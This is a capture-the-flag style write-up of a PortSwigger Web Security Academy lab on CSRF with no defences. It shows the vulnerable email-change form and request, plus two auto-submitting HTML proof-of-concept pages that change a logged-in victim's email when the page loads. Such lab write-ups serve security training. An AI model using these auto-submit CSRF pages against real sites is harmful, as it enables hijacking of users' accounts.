Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF
Difficulty Apprentice
Target 0aa8000f047bdfed80ef1ce2004800db.web-security-academy.net
Objective Change the victim's email address via a CSRF attack hosted on the exploit server

CSRF Vulnerability with No Defenses — Writeup


Initial Observation

Logging in as wiener:peter and landing on /my-account:

My Account

Your username is: wiener
Your email is: [email protected]
Screenshot

The page has an email update form. Inspecting it:

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="">
    <button class="button" type="submit"> Update email </button>
</form>

No CSRF token anywhere in the form. Just an email field and a submit button.


Web — Email Change Request Analysis

Intercepting a legitimate email update with Burp:

POST /my-account/change-email HTTP/2
[email protected]
Screenshot

That's the entire request. One parameter, no token, no secondary validation. The server identifies the user purely through the session cookie that the browser attaches automatically. All three CSRF conditions are met — there's a meaningful action, cookie-only session handling, and a fully predictable parameter.


Building the CSRF PoC

Two approaches work here, both equivalent.

Option 1 — Burp-generated PoC

Using Burp's "Generate CSRF PoC" on the intercepted request produces:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0aa8000f047bdfed80ef1ce2004800db.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

document.forms[0].submit() fires the form automatically on page load — no click needed. history.pushState rewrites the browser history to hide the originating URL from the Referer header.

Option 2 — Manual PoC from source

Taking the form directly from the page source and pointing it at the full URL:

<form class="login-form" name="change-email-form" action="https://0aa8000f047bdfed80ef1ce2004800db.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]">
</form>

<script>
  document.forms[0].submit();
</script>

Same result — document.forms[0].submit() triggers it on load.

Verification — Self-Test

Before delivering to the victim, verifying locally. Wiener's email at this point is [email protected] (set during the Burp interception). Pasting the manual PoC into the exploit server body and visiting "View exploit" while logged in as wiener — the email changes to [email protected]:

Screenshot

The chain works. Now using the Burp-generated version targeting [email protected] and clicking "Deliver exploit to victim":

Screenshot

The victim's browser loads the exploit page, auto-submits the form with their own session cookie attached, and the server processes the email change. Lab solved :P

📎 Resources